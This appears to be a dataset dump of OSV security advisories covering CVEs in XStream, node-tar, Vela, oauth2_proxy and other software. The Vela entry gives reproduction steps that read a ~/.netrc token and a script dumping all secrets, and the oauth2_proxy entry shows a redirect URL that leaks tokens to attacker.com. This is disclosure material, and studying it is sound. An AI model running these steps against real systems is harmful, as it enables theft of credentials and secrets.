TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-j9h8-phrw-h4fh
Summary: XStream is vulnerable to a Remote Command Execution attack
Aliases: CVE-2021-39144
Severity: HIGH
CVSS score: 8.5
CWE: CWE-94, CWE-502
Published: 2021-08-25T14:48:19Z

### Impact
The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

### Patches
XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

### Workarounds
See [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.

### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39144](https://x-stream.github.io/CVE-2021-39144.html).

### Credits

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)
* Email us at [XStream Google Group](https://groups.google.com/group/xstream-user)
Vulnerability: GHSA-xm6r-4466-mr74
Summary: High severity vulnerability that affects com.orientechnologies:orientdb-core
Aliases: CVE-2017-11467
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-269
Published: 2018-10-18T17:40:56Z

OrientDB through 2.2.22 does not enforce privilege requirements during "where" or "fetchplan" or "order by" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.
Vulnerability: GHSA-r7q2-5gqg-6c7q
Summary: Moderate severity vulnerability that affects actionpack
Aliases: CVE-2011-2929
Severity: MODERATE
CVSS score: 0
CWE: CWE-20
Published: 2017-10-24T18:33:38Z

The template selection functionality in actionpack/lib/action_view/template/resolver.rb in Ruby on Rails 3.0.x before 3.0.10 and 3.1.x before 3.1.0.rc6 does not properly handle glob characters, which allows remote attackers to render arbitrary views via a crafted URL, related to a "filter skipping vulnerability."
Vulnerability: GHSA-v6cj-r88p-92rm
Summary: Buffer Overflow in centra
Severity: HIGH
CVSS score: 7.3
CWE: CWE-119
Published: 2019-09-30T19:31:59Z

## Denial of Service

### Impact

Affected Centra versions will, when not in stream mode, buffer responses to requests into memory with no size limit. This issue affects anyone requesting content from untrusted sources.

### Patches

Version 2.4.0 resolves the issue by limiting the size of buffered response body.

### Workarounds

Attempting workarounds isn't recommended. Updating is preferred.

### For more information

If you have any questions or comments about this advisory, open an issue in [ethanent/centra](https://github.com/ethanent/centra).
Vulnerability: GHSA-xx8f-qf9f-5fgw
Summary: Remote code execution in zendframework and laminas-http
Aliases: CVE-2021-3007
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-502
Published: 2021-06-08T20:11:19Z

Zend Framework 3.0.0 has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the Zend\Http\Response\Stream class in Stream.php. NOTE: the code may be related to Laminas Project laminas-http. Zend Framework is no longer supported by the maintainer. However, not all Zend Framework 3.0.0 vulnerabilities exist in a Laminas Project release.
Vulnerability: GHSA-788m-pj96-7w2c
Summary: Cross-Site Scripting in fomantic-ui
Severity: HIGH
CVSS score: 0
CWE: CWE-79
Published: 2020-09-02T21:23:51Z

Versions of `fomantic-ui` are vulnerable to Cross-Site Scripting. Lack of output encoding on the selection dropdowns can lead to user input being executed instead of printed as text.


## Recommendation

Upgrade to version 2.7.0 or later.
Vulnerability: GHSA-ghqm-pgxj-37gq
Summary: Moderate severity vulnerability that affects rails-html-sanitizer
Aliases: CVE-2015-7580
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2017-10-24T18:33:36Z

Cross-site scripting (XSS) vulnerability in lib/rails/html/scrubbers.rb in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node.
Vulnerability: GHSA-8f9f-pc5v-9r5h
Summary: Malicious takeover of previously owned ENS names
Aliases: CVE-2020-5232
Severity: CRITICAL
CVSS score: 8.7
CWE: CWE-285
Published: 2020-01-30T23:55:04Z

### Impact
A user who owns an ENS domain can set a "trapdoor", allowing them to transfer ownership to another user, and later regain ownership without the new owner's consent or awareness.

### Patches

A new ENS deployment is being rolled out that fixes this vulnerability in the ENS registry. The registry is newly deployed at [0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e](https://etherscan.io/address/0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).

### Workarounds
Do not accept transfers of ENS domains from other users on the old registrar.
Vulnerability: GHSA-334p-wv2m-w3vp
Summary: Denial of service in Apache Xerces2
Aliases: CVE-2009-2625
Severity: MODERATE
CVSS score: 0
Published: 2020-06-15T18:51:30Z

XMLScanner.java in Apache Xerces2 Java, as used in Sun Java Runtime Environment (JRE) in JDK and JRE 6 before Update 15 and JDK and JRE 5.0 before Update 20, and in other products, allows remote attackers to cause a denial of service (infinite loop and application hang) via malformed XML input, as demonstrated by the Codenomicon XML fuzzing framework.
Vulnerability: GHSA-gpvv-69j7-gwj8
Summary: Path Traversal in pip
Aliases: CVE-2019-20916
Severity: HIGH
CVSS score: 7.5
CWE: CWE-22
Published: 2021-06-09T17:35:04Z

The pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py. A fix was committed 6704f2ace.
Vulnerability: GHSA-pp74-39w2-v4w9
Summary: Permissions bypass in pleaser
Aliases: CVE-2021-31154
Severity: HIGH
CVSS score: 7.8
CWE: CWE-59, CWE-340
Published: 2021-08-25T21:01:44Z

pleaseedit in pleaser before 0.4 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.
Vulnerability: GHSA-r628-mhmh-qjhw
Summary: Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning
Aliases: CVE-2021-32803
Severity: HIGH
CVSS score: 8.2
CWE: CWE-23, CWE-22
Published: 2021-08-03T19:00:40Z

### Impact

Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution

`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks.  Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur.

By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.

### Patches

3.2.3 || 4.4.15 || 5.0.7 || 6.1.2

### Workarounds

Users may work around this vulnerability without upgrading by creating a custom `filter` method which prevents the extraction of symbolic links.

```js
const tar = require('tar')

tar.x({
  file: 'archive.tgz',
  filter: (file, entry) => {
    if (entry.type === 'SymbolicLink') {
      return false
    } else {
      return true
    }
  }
})
```

Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.
Vulnerability: GHSA-563h-697m-j7x5
Summary: Malicious Package in device-mqtt
Severity: CRITICAL
CVSS score: 0
Published: 2020-09-03T19:18:58Z

Version 1.0.11 of `device-mqtt` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`



## Recommendation

Remove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.
Vulnerability: GHSA-62gr-4qp9-h98f
Summary: Regular Expression Denial of Service in Handlebars
Aliases: CVE-2019-20922
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2022-02-10T20:38:22Z

Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.
Vulnerability: GHSA-g6ww-v8xp-vmwg
Summary: Prototype pollution in pathval
Aliases: CVE-2020-7751
Severity: HIGH
CVSS score: 7.2
CWE: CWE-20, CWE-1321
Published: 2022-02-10T20:21:24Z

A prototype pollution vulnerability affects all versions of package pathval under 1.1.1.
Vulnerability: GHSA-46c4-8wrp-j99v
Summary: Improper Validation and Sanitization in url-parse
Aliases: CVE-2020-8124
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-20
Published: 2022-01-06T20:30:34Z

Insufficient validation and sanitization of user input exists in url-parse npm package version 1.4.4 and earlier may allow attacker to bypass security checks.
Vulnerability: GHSA-c32w-3cqh-f6jx
Summary: Weak Password Recovery Mechanism for Forgotten Password
Aliases: CVE-2021-25957
Severity: HIGH
CVSS score: 8.8
CWE: CWE-640
Published: 2021-09-02T17:08:33Z

In “Dolibarr” application, v2.8.1 to v13.0.2 are vulnerable to account takeover via password reset functionality. A low privileged attacker can reset the password of any user in the application using the password reset link the user received through email when requested for a forgotten password.
Vulnerability: GHSA-rh6c-q938-3r9q
Summary: Moderate severity vulnerability that affects validator
Aliases: CVE-2013-7452
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2017-10-24T18:33:36Z

The validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via a crafted javascript URI.
Vulnerability: GHSA-j3ff-xp6c-6gcc
Summary: Failure to validate signature during handshake
Aliases: CVE-2022-24759
Severity: HIGH
CVSS score: 8.1
CWE: CWE-347
Published: 2022-03-18T18:57:53Z

### Impact
`@chainsafe/libp2p-noise` before 4.1.2 and 5.0.3 was not correctly validating signatures during the handshake process.
This may allow a man-in-the-middle to pose as other peers and get those peers banned.

### Patches
Users should upgrade to 4.1.2 or 5.0.3

### Workarounds
No workarounds, just patch upgrade

### References
https://github.com/ChainSafe/js-libp2p-noise/pull/130
Vulnerability: GHSA-c7m7-4257-h698
Summary: Prototype Pollution in templ8
Aliases: CVE-2020-7702
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-915
Published: 2021-05-06T17:29:13Z

All versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.
Vulnerability: GSD-2021-1000001
Summary: Denial of service in tsMuxer version 2.6.16
Published: 2021-05-31T15:39:45.031586Z

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2021-26805. Reason: This candidate is a duplicate of CVE-2021-26805. Notes: All CVE users should reference CVE-2021-26805 instead of this candidate.
Vulnerability: GSD-2021-1000040
Summary: update freeze attack in DroidScript version all versions
Published: 2021-05-31T15:39:45.031586Z

DroidScript, all versions, were removed from the Google store after allegations of malware and ad fraud surfaced from Google. It is reported that ad clicking activity did take place but that it was not as a direct result from DriodScript themselves. However due to the removal of DroidScript it is unlikely that many DroidScript based applications will receive  security updates, creating a significant vulnerability (effectively an update freeze attack).
Vulnerability: GSD-2021-1000000
Summary: Denial of service(DoS) in GPAC version 0.8.0
Published: 2021-05-31T15:39:45.031586Z

In GPAC GPAC version 0.8.0 a Denial of service(DoS) exists in the GPAC 0.8.0-e10d39d-master branch that can be attacked via a malicious image file resulting in DoS. An attacker can exploit this vulnerability by submitting a malicious media file that exploits this issue. This will result in a Denial of Service (DoS) when the application attempts to process the file..
Vulnerability: GSD-2021-1000007
Summary: denial of service in parse_duration version up to 2.1.0
Published: 2021-05-31T15:39:45.031586Z

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2021-29932. Reason: This candidate is a duplicate of CVE-2021-29932. Notes: All CVE users should reference CVE-2021-29932 instead of this candidate.
Vulnerability: GSD-2021-1000010
Summary: temporary file creation (CWE-379) in fabric-samples version Prior to commit 6bccc138887b3dbd9dc920bad200068b11066ef7
Published: 2021-05-31T15:39:45.031586Z

In Hyperledger fabric-samples version Prior to commit 6bccc138887b3dbd9dc920bad200068b11066ef7 a temporary file creation (CWE-379) exists in the digibank.sh and magnetocorp.sh that can be attacked via Local resulting in Information disclosure of all environmental variables
Vulnerability: GSD-2021-1000006
Summary: Denial of Service in varnish-modules version 0.18.0
Published: 2021-05-31T15:39:45.031586Z

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2021-28543. Reason: This candidate is a duplicate of CVE-2021-28543. Notes: All CVE users should reference CVE-2021-28543 instead of this candidate.
Vulnerability: GSD-2021-1000051
Summary: malware in "RotaJakiro" version all
Published: 2021-05-31T15:39:45.031586Z

A new Linux malware labeled "RotaJakiro" has been found for 64bit Linux. When run as a root user  the program creates entries in systems to run binaries labeled:

/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon

When run as a non root user it creates an autostart script$HOME/.config/au-tostart/gnomehelper.desktop

to run binaries labeled as:

$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper

MD5 hashes of the binaries involved include:

MD5:1d45cd2c1283f927940c099b8fab593b
MD5:11ad1e9b74b144d564825d65d7fb37d6
MD5:5c0f375e92f551e8f2321b141c15c48f
MD5:64f6cfe44ba08b0babdd3904233c4857

The "RotaJakiro" malware interacts with command and control servers at the following domains on port 443, but using a custom protocol:

news.thaprior.net:443
blog.eduelects.com:443
cdn.mirror-codes.net:443
status.sublineover.net:443

For more details please see the Qihoo 360 Netlab blog posting.
Vulnerability: GSD-2021-1000005
Summary: Buffer Overflow in VoIPmonitor sniffer version 27.5
Published: 2021-05-31T15:39:45.031586Z

In VoIPmonitor VoIPmonitor sniffer version 27.5 a Buffer Overflow exists in the live sniffer feature that can be attacked via SIP resulting in RCE, DoS.
Vulnerability: GSD-2021-1000009
Summary: Replacement of bash script by an attacker to one that includes malicious commands in Codecov Bash uploader version All versions downloaded from Jan 2021 through April 2021. Because the attacker had control of the script the version # included in it cannot be trusted.
Published: 2021-05-31T15:39:45.031586Z

In Codecov Codecov Bash uploader version All versions downloaded from Jan 2021 through April 2021. Because the attacker had control of the script the version # included in it cannot be trusted. a Replacement of bash script by an attacker to one that includes malicious commands exists in the The Bash uploader script that can be attacked via Numerous victims downloaded and executed this script,  resulting in Information disclosure is known, other impacts may have occurred (it is not clear if the script was only replaced once or multiple times)
Vulnerability: GSD-2021-1000008
Summary: Denial of Service in Leaf EV (car) version 2018 SV
Published: 2021-05-31T15:39:45.031586Z

In Nissan Leaf EV (car) version 2018 SV a Denial of Service exists in the Head Unit Display that can be attacked via Local Access resulting in Denial of Service (HUD being disabled).
Vulnerability: GSD-2021-1000004
Summary: Cross Site Scripting (XSS) in VoIPmonitor GUI version 24.55
Published: 2021-05-31T15:39:45.031586Z

In VoIPmonitor VoIPmonitor GUI version 24.55 a Cross Site Scripting (XSS) exists in the VoIPmonitor GUI that can be attacked via SIP resulting in Privilege escalation.
Vulnerability: GSD-2021-1000189
Summary: takeover by external entity in IRC Network version all current freenode hosts
Published: 2021-05-31T15:39:45.031586Z

The Freenode IRC Network, specifically freenode hosts, DNS name, etc. ("freenode ltd"), was sold to a third party, Andrew Lee. Recent operational changes have resulted in the majority (possibly all) of staff resigning and leaving due to concerns around data leakage and potential denial of service in the form of "you can ban your enemies"  via line being offered to at least one individual (who refused it). The Freenode staff have formed a new IRC network called "libera.chat" (https://libera.chat/) that is effectively a replacement of Freenode.
Vulnerability: GSD-2021-1000003
Summary: CWE-379 in fabric-sdk-rest version All released versions (project is now archived)
Published: 2021-05-31T15:39:45.031586Z

In Hyperledger fabric-sdk-rest version All released versions (project is now archived) a CWE-379 exists in the packages/fabric-rest/fabric-rest-server script that can be attacked via Local resulting in File overwrite from a privileged user.
Vulnerability: GSD-2021-1000002
Summary: Local DoS in Velop version 2.1.13.200506 - unknown
Published: 2021-05-31T15:39:45.031586Z

In Linksys Velop version 2.1.13.200506 - unknown a Local DoS exists in the MQTT stack that can be attacked via Local network access resulting in Denial of Service.
Vulnerability: GSD-2021-1000188
Summary: default search paths use Terraform Registry for custom providers in Terraform version 0.15.3
Published: 2021-05-31T15:39:45.031586Z

In Hashicorp Terraform version 0.15.3 the default search paths use Terraform Registry for custom providers if they exist in the terraform plan which can be attacked via code processed by the CI/CD pipeline using "terraform plan" resulting in Remote code Execution, exfiltration of environmental variables, etc.
Vulnerability: GO-2020-0027
Aliases: CVE-2018-6558
Published: 2021-04-14T12:00:00Z

After dropping and then elevating process privileges euid, guid, and groups
are not properly restored to their original values, allowing an unprivileged
user to gain membership in the root group.
Vulnerability: GHSA-9m95-8hx6-7p9v
Summary: Improper input validation in umoci
Aliases: CVE-2021-29136
Severity: MODERATE
CWE: CWE-20
Published: 2022-02-15T01:17:37Z

### Impact

umoci 0.4.6 and earlier can be tricked into modifying host files by
creating a malicious layer that has a symlink with the name "." (or
"/"). Because umoci deletes inodes if they change types, this results in
the rootfs directory being replaced with an attacker-controlled symlink.
Subsequent image layers will then be applied on top of the target of the
symlink (which could be any directory on the host filesystem the user
running umoci has access to).

While umoci does have defences against symlink-based attacks, they are
all implemented by resolving things relative to the rootfs directory --
if the rootfs itself is a symlink, umoci resolves it first.

This vulnerability affects both "umoci unpack" and "umoci raw unpack".

### Patches
This issue has been patched in umoci 0.4.7, see the references section
for the specific commit which fixed this vulnerability.

### Workarounds
Note that if you use umoci as an unprivileged user (using the --rootless
flag) then umoci will not be able to overwrite any files that your user
doesn't have access to. Other possible mitigations are to run umoci
under an LSM profile such as AppArmor or SELinux to restrict the level
of access it has outside of container image directories.

### References
* [oss-security public disclosure](https://www.openwall.com/lists/oss-security/2021/04/06/2)
* [patch](https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57)

### Credits
Thanks to Robin Peraglie from Cure53 for discovering and reporting this
vulnerability.

### For more information

If you have any questions or comments about this advisory
* Open an issue in <https://github.com/opencontainers/umoci>.
* Email us at <security@opencontainers.org>.
Vulnerability: GHSA-4999-659w-mq36
Summary: Authentication bypass issue in the Operator Console
Aliases: CVE-2021-41266
Severity: HIGH
CWE: CWE-306
Published: 2021-11-15T23:16:49Z

During an internal security audit, we detected an authentication bypass issue in the Operator Console when an external IDP is enabled. The security issue has been reported internally. We have not observed this exploit in the wild or reported elsewhere in the community at large. All users are advised to upgrade ASAP.

### Impact

All users on release v0.12.2 and before are affected.

### Patches

This issue was fixed by PR https://github.com/minio/console/pull/1217, users should upgrade to latest release.

### Workarounds

Add `automountServiceAccountToken: false` to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the `CONSOLE_IDP_URL`, `CONSOLE_IDP_CLIENT_ID`, `CONSOLE_IDP_SECRET` and `CONSOLE_IDP_CALLBACK` environment variable and instead use the Kubernetes service account token.

### References

#1217 for more information on the fix and how it was fixed.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [console issues](https://github.com/minio/console/issues)
* Email us at [security@minio.io](mailto:security@minio.io)
Vulnerability: GHSA-v9j4-cp63-qv62
Summary: Tarslip in go-unarr
Aliases: CVE-2021-38197
Severity: CRITICAL
CWE: CWE-22
Published: 2021-09-01T18:32:02Z

unarr.go in go-unarr (aka Go bindings for unarr) 0.1.1 allows Directory Traversal via ../ in a pathname within a TAR archive.
Vulnerability: GO-2021-0083
Aliases: CVE-2019-12496
Published: 2021-04-14T12:00:00Z

TLS certificate verification is skipped when connecting to a MQTT server.
This allows an attacker who can MITM the connection to read, or forge,
messages passed between the client and server.
Vulnerability: GHSA-grfp-q2mm-hfp6
Summary: Redirect URL matching ignores character casing
Aliases: CVE-2020-15234
Severity: MODERATE
CWE: CWE-20, CWE-601, CWE-178
Published: 2021-05-24T17:00:05Z

### Impact

Before version v0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using `strings.ToLower` while they should have been compared with a simple string match:

1. Registering a client with allowed redirect URL `https://example.com/callback`
2. Performing OAuth2 flow and requesting redirect URL `https://example.com/CALLBACK`
3. Instead of an error (invalid redirect URL), the browser is redirected to `https://example.com/CALLBACK` with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example).
Vulnerability: GHSA-p55x-7x9v-q8m4
Summary: Denial of Service in miekg-dns
Aliases: CVE-2017-15133
Severity: HIGH
CWE: CWE-400
Published: 2021-06-29T21:45:07Z

A denial of service flaw was found in miekg-dns before 1.0.4. A remote attacker could use carefully timed TCP packets to block the DNS server from accepting new connections.
Vulnerability: GHSA-w942-gw6m-p62c
Summary: Denial of service in GJSON
Aliases: CVE-2020-35380
Severity: HIGH
CWE: CWE-400
Published: 2021-06-23T17:53:05Z

GJSON before 1.6.4 allows attackers to cause a denial of service via crafted JSON.
Vulnerability: GHSA-c3h9-896r-86jm
Summary: Improper Input Validation in GoGo Protobuf
Aliases: CVE-2021-3121
Severity: HIGH
CWE: CWE-20, CWE-129
Published: 2022-03-28T20:28:00Z

An issue was discovered in GoGo Protobuf before 1.3.2. plugin/unmarshal/unmarshal.go lacks certain index validation, aka the "skippy peanut butter" issue.
Vulnerability: GHSA-ggjr-2f7v-vhq4
Summary: Authentication Bypass in Kiali
Aliases: CVE-2021-20278
Severity: MODERATE
CWE: CWE-290
Published: 2021-06-01T21:57:08Z

An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.
Vulnerability: GHSA-qqxw-m5fj-f7gv
Summary: The pattern '/\domain.com' is not disallowed when redirecting, allowing for open redirect
Aliases: CVE-2020-5233
Severity: MODERATE
CWE: CWE-601
Published: 2021-12-20T18:02:38Z

### Impact
An open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted. 

For a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.

**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:
`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`

### Patches

@sauyon found the issue, and has submitted a patch. 

```
diff --git a/oauthproxy.go b/oauthproxy.go
index 72ab580..f420df6 100644
--- a/oauthproxy.go
+++ b/oauthproxy.go
@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)
 // IsValidRedirect checks whether the redirect URL is whitelisted
 func (p *OAuthProxy) IsValidRedirect(redirect string) bool {
 	switch {
-	case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"):
+	case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//") && !strings.HasPrefix(redirect, "/\\"):
 		return true
 	case strings.HasPrefix(redirect, "http://") || strings.HasPrefix(redirect, "https://"):
 		redirectURL, err := url.Parse(redirect)
```

This patch will be applied to the next release, which is scheduled for when this is publicly disclosed.

### Workarounds

At this stage there is no work around.
Vulnerability: GHSA-3f8r-4qwm-r7jf
Summary: Improper Authentication in Apache Traffic Control
Aliases: CVE-2019-12405
Severity: CRITICAL
CWE: CWE-287
Published: 2021-05-18T15:39:16Z

Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password.
Vulnerability: GHSA-8j3f-mhq8-gmh4
Summary: Reject unauthorized access with GitHub PATs
Aliases: CVE-2021-21432
Severity: HIGH
CWE: CWE-863, CWE-285
Published: 2022-02-15T01:57:18Z

### Impact
_What kind of vulnerability is it? Who is impacted?_

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce

1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator 
    - `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content

    
    ```yaml
    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    ```

1. Look at build logs to find the following content

    ```
    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    ```

1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`

    ```golang
    package main
    
    import (
	    "fmt"
	    "github.com/go-vela/sdk-go/vela"
	    "os"
    )
    
    func main() {
	    // create client to connect to vela
	    client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
	    if err != nil {
		    panic(err)
	    }
    
	    // add PAT to request
	    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
	    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
	    if err != nil {
		    panic(err)
	    }
    
	    for _, secret := range *secrets {
		    fmt.Println(*secret.Name)
		    fmt.Println(*secret.Value)
	    }
    }
    ```

1. Run the `main.go` with environment specific settings
   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

* Upgrade to `v0.7.5` or later

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

* No known workarounds

### References
_Are there any links users can visit to find out more?_

* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

### For more information
If you have any questions or comments about this advisory

* Email us at [vela@target.com](mailto:vela@target.com)
Vulnerability: GO-2020-0031
Aliases: CVE-2020-8945
Published: 2021-04-14T12:00:00Z

Due to improper setting of finalizers, memory passed to C may be freed before it is used,
leading to crashes due to memory corruption or possible code execution.
Vulnerability: GHSA-qggc-pj29-j27m
Summary: Improper Privilege Management in Mattermost
Aliases: CVE-2022-1332
Severity: MODERATE
CWE: CWE-200, CWE-269
Published: 2022-04-14T00:00:17Z

One of the API in Mattermost version 6.4.1 and earlier fails to properly protect the permissions, which allows the authenticated members with restricted custom admin role to bypass the restrictions and view the server logs and server config.json file contents. Per the Mattermost security updates page, versions 6.4.2, 6.3.5, 6.2.5, and 5.37.9 contain patches for this issue
Vulnerability: GO-2021-0095
Aliases: CVE-2020-8918
Published: 2021-04-14T12:00:00Z

Due to repeated usage of a XOR key an attacker that can eavesdrop on the TPM 1.2 transport
is able to calculate usageAuth for keys created using CreateWrapKey, despite it being encrypted,
allowing them to use the created key.
Vulnerability: GHSA-j96p-r523-8r3w
Summary: HTTP Request Smuggling in github.com/hyperledger/fabric
Aliases: CVE-2021-43669
Severity: HIGH
CWE: CWE-444
Published: 2021-12-03T20:52:02Z

A vulnerability has been detected in HyperLedger Fabric v1.4.0, v2.0.0, v2.0.1, v2.3.0. It can easily break down as many orderers as the attacker wants. This bug can be leveraged by constructing a message whose header is invalid to the interface Order. This bug has been admitted and fixed by the developers of Fabric.
Vulnerability: GHSA-5v95-v8c8-3rh6
Summary: Privilege escalation in rbac
Aliases: CVE-2021-22538
Severity: HIGH
CWE: CWE-276
Published: 2021-05-21T14:32:55Z

### Impact
Using a carefully crafted request or malicious proxy, a user with `UserWrite` permissions could create another user with higher privileges than their own due to insufficient checks on the allowed set of permissions. The event would be captured in the Event Log.

### Patches
The issue has been fixed in 0.24.0 and 0.23.1.

### Workarounds
For users who are unable to upgrade, we recommend auditing users who have `UserWrite` permissions and regularly reviewing the Event Log for malicious activity.

### Kudos
Thank you to Michael Mazzolini (Ethical Hacker at WHO) for finding and disclosing this vulnerability.
Vulnerability: GHSA-9423-6c93-gpp8
Summary: Arbitrary File Write via Archive Extraction (Zip Slip)
Aliases: CVE-2020-7667
Severity: HIGH
CWE: CWE-22
Published: 2021-06-23T17:13:29Z

The CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading ".." which leads in file extraction outside of the current directory. Note, the fixing commit was applied to all affected versions which were re-released.
Vulnerability: GHSA-qmmc-jppf-32wv
Summary: Directory Traversal in Docker
Aliases: CVE-2014-9358
Severity: MODERATE
CWE: CWE-59
Published: 2022-02-15T00:41:14Z

Docker before 1.3.3 does not properly validate image IDs, which allows remote attackers to conduct path traversal attacks and spoof repositories via a crafted image in a (1) "docker load" operation or (2) "registry communications."
Vulnerability: GHSA-gw5h-h6hj-f56g
Summary: Improper Authorization in Gogs
Severity: HIGH
CWE: CWE-285
Published: 2022-03-14T22:58:37Z

### Impact

Expired PAM accounts and accounts with expired passwords are continued to be seen as valid. Installations use PAM as authentication sources are affected.

### Patches

Expired PAM accounts and accounts with expired passwords are no longer being seen as valid. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.

### Workarounds

In addition to marking PAM accounts as expired, also disable/lock them. Running `usermod -L <username>` will add an exclamation mark to the password hash and would result in wrong passwords responses when trying to login. 

### References

https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62/

### For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6810.
Vulnerability: GHSA-wm2r-rp98-8pmh
Summary: Exposure of SSH credentials in Rancher/Fleet
Severity: LOW
CWE: CWE-200
Published: 2022-04-27T21:09:13Z

### Impact
This vulnerability only affects customers using Fleet for continuous delivery with authenticated Git and/or Helm repositories.

